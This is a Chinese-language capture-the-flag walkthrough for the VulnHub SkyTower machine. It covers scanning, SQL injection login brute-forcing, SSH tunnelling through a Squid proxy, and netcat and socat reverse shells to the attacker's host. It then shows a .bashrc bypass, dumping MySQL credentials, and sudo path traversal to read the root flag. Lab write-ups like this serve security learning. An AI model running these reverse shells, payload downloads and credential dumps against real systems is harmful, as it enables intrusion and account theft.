靶机地址:https://www.vulnhub.com/entry/skytower-1,96/
靶机难度:中级(CTF)
nmap 192.168.75.0/24 -sP
nmap -sS -sV -A -T4 192.168.75.20 22 ssh 80 tcp 3128 http-proxy Squid http proxy 3.1.2080
访问web页面 发现是个登陆界面 尝试sql注入 发现 是'闭合3218
nmap 扫描得到 3128端口开启了squid-http Squid cache(简称为Squid)是流行最广的,使用最普遍的开源缓存代理服务器: https://blog.csdn.net/qq_21419995/article/details/80888680sql注入
尝试发现有过滤 无法sqlmap爆库 尝试字典爆破 https://github.com/melbinkm/SQL-Injection-Payloads/blob/master/sqli_auth.list
proxychains git clone https://github.com/melbinkm/SQL-Injection-Payloads.git
利用burpsuite抓包拦截发送到->intruder进行sql注入爆破,为了确保选择email和password字段,攻击类型设置:pitchfork payloads1和2选择同样的文本,并单击Start Attack! 发现长度为1838的是成功的
这里可以用 repeater发送 也可以在页面使用payload注入 Username: john Password: hereisjohn代理转发ssh
ssh john@192.168.75.20 无法连接 前面知道开启squid代理 需要代理proxychains代理
ProxyChains是Linux和其他Unix下的代理工具。 它可以使任何程序通过代理上网, 允许TCP和DNS通过代理隧道, 支持HTTP、 SOCKS4和SOCKS5类型的代理服务器, 并且可配置多个代理。 ProxyChains通过一个用户定义的代理列表强制连接指定的应用程序, 直接断开接收方和发送方的连接。 ProxyChains 是一个强制应用的 TCP 连接通过代理的工具,支持 Tor、HTTP、与 Socks 代理。 与 sshuttle 不同的是,ProxyChains 只会将当前应用的 TCP 连接转发至代理,而非全局代理。 参考文章 https://zhuanlan.zhihu.com/p/166375631
vim /etc/proxychans4.conf 添加:http 192.168.75.20 3128
proxychains ssh john@192.168.75.20 发现连接后自动断开连接
参考文章 https://cloud.tencent.com/developer/article/1594881 ssh连接获得的是一个shell 这里尝试是否可以执行命令 proxychains ssh john@192.168.75.20 -t id 可以执行proxytunnel隧道代理
proxytunnel是一款利用http connection封装技术建立隧道的工具 使用条件:防火墙禁止DNS和ICMP隧道,只允许代理服务器上网的情景
proxytunnel -p 192.168.75.20:3128 -d 127.0.0.1:22 -a 1234 kali本地1234端口 将kali与项目的3128端口建立隧道,隧道建立的端口转发到项目本地的22端口,然后在映射到kali本地1234端口。 -a 指定本地侦听端口 -p 使用代理 -r 使用第二个代理 -d 指定访问的目标和端口 ssh john@192.168.75.20 -p 1234 -t id绕过ssh
因为无法得到shell 尝试绕过 查看是否具有条件 ssh john@127.0.0.1 -p 1234 -t which python ssh john@127.0.0.1 -p 1234 -t which php ssh john@127.0.0.1 -p 1234 -t which perl ssh john@127.0.0.1 -p 1234 -t which nc
nc -lvp 5566 ssh john@127.0.0.1 -p 1234 nc 192.168.75.5 5566 -e /bin/bash
cd / grep -rn "Funds have been withdrawn" 2>/dev/null .bashrc:113:echo "Funds have been withdrawn"
# If not running interactively, don't do anything
case $- in
*i*) ;;
*) return;;
esac
i选项是关闭的
这里面的命令导致结束shell!
.bashrc详解:
https://linux.cn/article-9298-1.html
http://c.biancheng.net/view/2767.html
pty方法
wget --no-check-certificate https://github.com/ernw/static-toolbox/releases/download/socat-v1.7.4.1/socat-1.7.4.1-x86_64 -O socat python -m SimpleHTTPServer
wget http://192.168.75.5:8081/socat chmod +x socat HOME=/dev/shm ./socat tcp:192.168.75.5:7788 exec:'/bin/bash -li',pty,stderr,sigint,sighup,sigquit,sane 补全命令 此时shell tty 未完全 script -qc bash /dev/null sudo -l 成功回显小技巧替换bashrc
sed -i 's/exit/echo/g' .bashrc -i 直接修改文件 用sed将bashrc文件中的exit全部替换为echo! 或者head删除最后三行信息! "head -n -3 .bashrc > .bashrc" 或者直接删除 bashrc 这样可以获得一个ssh shell proxychains ssh john@192.168.75.20 -t rm .bashrc 重命名 proxychains ssh john@192.168.75.20 -t mv .bashrc .bashrc.bak
proxychains ssh john@192.168.75.20 -t mv .bashrc .bashrc.bak proxychains ssh john@192.168.75.20mysql枚举
这里面符合udf提权条件 但是无法使用
查看底层文件login.php cd /var/www cat login.php root root
mysql -uroot -proot show databases; use SkyTech show tables; desc login select * from login; 三个账号密码 john@skytech.com hereisjohn sara@skytech.com ihatethisjob william@skytech.com senseable
尝试登录 sara ihatethisjob 可以登录提权
proxychains ssh sara@192.168.75.20 -t mv .bashrc .bashrc.bak proxychains sara john@192.168.75.20 ihatethisjob sudo -l sudo ls /accounts/../root sudo cat /accounts/../root/flag.txt Congratz, have a cold one to celebrate! root password is theskytower



